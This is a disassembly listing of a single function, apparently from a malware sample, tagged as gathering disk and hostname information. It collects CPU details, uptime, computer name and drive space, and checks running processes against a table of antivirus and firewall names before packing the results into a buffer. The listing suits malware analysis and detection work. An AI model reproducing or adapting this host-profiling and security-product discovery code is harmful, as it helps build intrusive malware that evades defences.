Function at 0x1000bd0b
Capabilities:
Get disk information
Get hostname

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1444
call fcn.100136b0
push ebx
push esi
lea eax, [ebp - 0x10]
push edi
push eax
xor esi, esi
push 1
push esi
push 0x1001a008
mov dword [ebp - 0x3c], ecx
push 0x80000002
mov byte [ebp - 0x340], 0x81
call dword [0x1001be28]
lea eax, [ebp - 0x40]
mov dword [ebp - 0x40], 4
push eax
lea eax, [ebp - 0x38]
push eax
push esi
push esi
push str.MHz
push dword [ebp - 0x10]
call dword [0x1001bdf4]
push dword [ebp - 0x10]
call dword [0x1001be30]
push dword [ebp - 0x38]
mov ebx, dword [0x1001bf30]
lea eax, [ebp - 0x33f]
push str._u_MHz
push eax
call ebx
add esp, 0xc
mov esi, str.HARDWAREDESCRIPTIONSystemCentralProcessor0
lea edi, [ebp - 0x444]
xor eax, eax
push 0xc
pop ecx
rep movsd dword es:[edi], dword [esi]
push 0x35
lea edi, [ebp - 0x414]
pop ecx
xor esi, esi
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
push eax
push 0xf003f
lea eax, [ebp - 0x444]
push esi
push eax
push 0x80000002
call dword [0x1001be28]
test eax, eax
jne 0x1000bdf0
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x80
push eax
lea eax, [ebp - 0x31f]
push eax
lea eax, [ebp - 0x1c]
push eax
push esi
push str.ProcessorNameString
push dword [ebp - 0x10]
call dword [0x1001bdf4]
push dword [ebp - 0x10]
call dword [0x1001be30]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x5265c00
xor edx, edx
mov edi, ecx
mov esi, eax
div edi
xor edx, edx
mov dword [ebp - 4], eax
mov eax, esi
div ecx
mov ecx, 0x36ee80
mov edi, ecx
mov esi, edx
xor edx, edx
mov eax, esi
div edi
mov edi, 0xea60
mov eax, edx
xor edx, edx
div edi
xor edx, edx
push eax
mov eax, esi
div ecx
push eax
lea eax, [ebp - 0x29f]
push dword [ebp - 4]
push 0x1001a810
push eax
call ebx
mov esi, str.UnknownProcess
lea edi, [ebp - 0x74]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
xor eax, eax
lea edi, [ebp - 0x65]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0x14
stosb byte es:[edi], al
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x1444]
push 0x1000
push eax
call fcn.10013f5c
push 0x20
test eax, eax
pop edi
je 0x1000bfae
mov eax, dword [ebp - 0x28]
and dword [ebp - 0x1c], 0
shr eax, 2
je 0x1000bfae
lea ecx, [ebp - 0x1444]
mov dword [ebp - 4], eax
mov dword [ebp - 0x24], ecx
push str.lstrcatA
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x24]
push dword [eax]
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x1000bfa1
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x44]
push 4
push eax
push esi
call fcn.10013f38
test eax, eax
je 0x1000bfa1
lea eax, [ebp - 0x74]
push edi
push eax
push dword [ebp - 0x44]
push esi
call fcn.10013f4a
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.MSVCRT.dll__strrev]
pop ecx
xor esi, esi
lea eax, [esi + esi*4]
lea eax, [eax*4 + str.exe.cvseva]
push eax
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x1000bf22
cmp esi, 5
jne 0x1000bf31
cmp dword [ebp - 0x1c], eax
je 0x1000bf2a
inc esi
cmp esi, 0x12
jl 0x1000beff
jmp 0x1000bf54
mov dword [ebp - 0x1c], 1
lea eax, [ebp - 0x25f]
push 0x1001a7fc
push eax
call dword [ebp - 0xc]
shl esi, 5
add esi, str.AntiVir
lea eax, [ebp - 0x25f]
push esi
push eax
call dword [ebp - 0xc]
xor esi, esi
mov dword [ebp - 0x14], str.exe.cvssi
push dword [ebp - 0x14]
lea eax, [ebp - 0x74]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x1000bf7e
add dword [ebp - 0x14], 0x14
inc esi
cmp dword [ebp - 0x14], 0x1001a634
jl 0x1000bf5d
jmp 0x1000bfa1
lea eax, [ebp - 0x1df]
push 0x1001a7fc
push eax
call dword [ebp - 0xc]
shl esi, 5
add esi, str.Norton_Personal_Firewall
lea eax, [ebp - 0x1df]
push esi
push eax
call dword [ebp - 0xc]
add dword [ebp - 0x24], 4
dec dword [ebp - 4]
jne 0x1000be96
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], edi
push eax
lea eax, [ebp - 0x15f]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], edi
push eax
lea eax, [ebp - 0x13f]
push eax
call dword [0x1001bd8c]
mov esi, dword [0x1001bed0]
push 1
call esi
xor edi, edi
push eax
push edi
call esi
push eax
lea eax, [ebp - 0x11f]
push str._d___d
push eax
call ebx
add esp, 0x10
xor esi, esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
mov dword [ebp - 0xc], esi
mov al, byte [ebp - 0xc]
and byte [ebp - 0x31], 0
add al, 0x42
mov byte [ebp - 0x33], 0x3a
mov byte [ebp - 0x34], al
lea eax, [ebp - 0x34]
push eax
mov byte [ebp - 0x32], 0x5c
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x1000c05a
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x34]
push eax
call dword [0x1001ccd4]
test eax, eax
je 0x1000c05a
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x48]
add edi, eax
mov eax, dword [ebp - 0x54]
adc dword [ebp - 0x1c], ecx
add dword [ebp - 8], eax
mov ecx, dword [ebp - 0x50]
adc dword [ebp - 4], ecx
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0x1a
jl 0x1000c006
push esi
mov esi, 0x40000000
push esi
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.10013730
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
fild qword [ebp - 8]
push ecx
push ecx
fstp qword [esp]
push 0
push esi
push dword [ebp - 0x1c]
push edi
call fcn.10013730
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
fild qword [ebp - 8]
push ecx
push ecx
lea eax, [ebp - 0xff]
fstp qword [esp]
push 0x1001a7c8
push eax
call ebx
mov ecx, dword [ebp - 0x3c]
add esp, 0x18
lea eax, [ebp - 0x340]
push 0x2c1
push eax
call fcn.10007ca1
pop edi
pop esi
pop ebx
leave
ret